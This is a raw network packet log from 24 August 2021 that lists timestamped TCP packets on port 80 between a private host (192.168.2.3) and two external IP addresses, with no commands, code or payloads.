Aug 24, 2021 14:01:43.684015989 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.684020042 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684035063 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684041023 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.684050083 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684065104 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684078932 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684086084 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.684093952 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684108973 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684125900 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684143066 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.684144020 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684154034 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.684159994 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684175968 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684190989 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684205055 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684211969 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.684221029 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684236050 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684247017 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.684253931 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684269905 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684283018 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.684286118 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684300900 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.684310913 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.684469938 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.688393116 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.698038101 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.701673985 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.701709986 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.701730013 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.701836109 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.701946020 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.703835964 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.705517054 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.705542088 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.705559015 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.705574989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.705590010 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.705605984 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.705622911 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.705641031 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.705661058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.705688000 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.705710888 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.705734015 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.705759048 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.705760956 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.705784082 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.705787897 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.705908060 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706043005 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706074953 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706099033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706121922 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706131935 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706145048 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706171036 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706195116 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706217051 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706226110 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706238985 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706262112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706284046 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706294060 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706301928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706322908 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706346989 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706347942 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706368923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706391096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706401110 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706415892 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706438065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706451893 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706461906 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706485033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706502914 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706506014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706530094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706552029 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706552982 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706574917 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706594944 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706603050 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706623077 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706645012 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706660032 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706665993 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706686974 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706707954 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706718922 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706728935 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706751108 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706777096 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706789970 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706800938 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706823111 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706842899 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706846952 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706870079 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706887960 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706897020 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706919909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706942081 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706945896 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.706965923 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706989050 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.706995964 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.707010984 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707031965 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707053900 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707053900 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.707075119 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707098007 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707107067 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.707155943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707165003 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.707180977 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707206964 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707230091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707251072 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707272053 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.707273006 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707294941 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707319975 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707330942 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.707346916 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707391024 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.707752943 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707777023 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707802057 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707834005 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707840919 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.707875013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707889080 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.707892895 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707910061 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707932949 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707952976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707956076 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.707976103 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.707998037 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708008051 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.708023071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708045006 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.708046913 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708069086 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708090067 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708112955 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708116055 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.708133936 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708156109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708163023 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.708177090 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708198071 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.708200932 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708224058 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708230972 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.708245039 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708276987 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.708657980 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.708682060 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.708702087 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.708720922 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.708729982 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.708744049 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.708770037 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.708772898 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.708791971 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.708816051 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708837032 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708839893 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.708858013 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708877087 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.708878994 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708900928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708910942 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.708920956 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.708923101 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708945036 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708956957 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.708967924 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.708992004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709012032 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709012985 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709034920 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709055901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709063053 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709076881 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709096909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709105968 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709119081 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709141016 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709141016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709167004 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709176064 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709188938 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709209919 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709228039 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709230900 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709259033 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709280014 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709280014 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709305048 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.709312916 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709372997 CEST	49728	80	192.168.2.3	188.34.200.103
Aug 24, 2021 14:01:43.709604025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709629059 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709650993 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709660053 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709672928 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709695101 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709716082 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709716082 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709738016 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709759951 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709770918 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709785938 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709809065 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709810019 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709830999 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709839106 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709852934 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709875107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709882975 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709897041 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709917068 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709933043 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709938049 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709964037 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.709966898 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.709988117 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710010052 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710020065 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.710031986 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710053921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710074902 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.710076094 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710118055 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.710589886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710616112 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710639000 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710659981 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710665941 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.710683107 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710704088 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710724115 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710726023 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.710747957 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710773945 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710776091 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.710798025 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710817099 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710838079 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710865974 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.710880995 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710886955 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.710901976 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710922003 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.710922956 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710943937 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710968018 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.710987091 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.710989952 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711015940 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711020947 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.711036921 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711057901 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711076021 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.711078882 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711100101 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711141109 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711163044 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711167097 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.711173058 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.711186886 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711211920 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.711766958 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711792946 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711811066 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711826086 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711842060 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711859941 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711885929 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711909056 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711915016 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.711927891 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711949110 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711961031 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.711970091 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.711990118 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.712012053 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.712014914 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.712033987 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.712055922 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.712059021 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.712081909 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.712099075 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.712102890 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.712125063 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.712140083 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.712146044 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.712166071 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.712181091 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.712188005 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.712224007 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.712368011 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.712743998 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.712765932 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.712788105 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.712800026 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.712825060 CEST	49724	80	192.168.2.3	172.67.216.236
Aug 24, 2021 14:01:43.712848902 CEST	80	49724	172.67.216.236	192.168.2.3
Aug 24, 2021 14:01:43.728274107 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728307009 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728324890 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728341103 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728362083 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728382111 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728400946 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728420019 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728440046 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728465080 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728487015 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728506088 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728527069 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728545904 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728565931 CEST	80	49728	188.34.200.103	192.168.2.3
Aug 24, 2021 14:01:43.728569984 CEST	49728	80	192.168.2.3	188.34.200.103
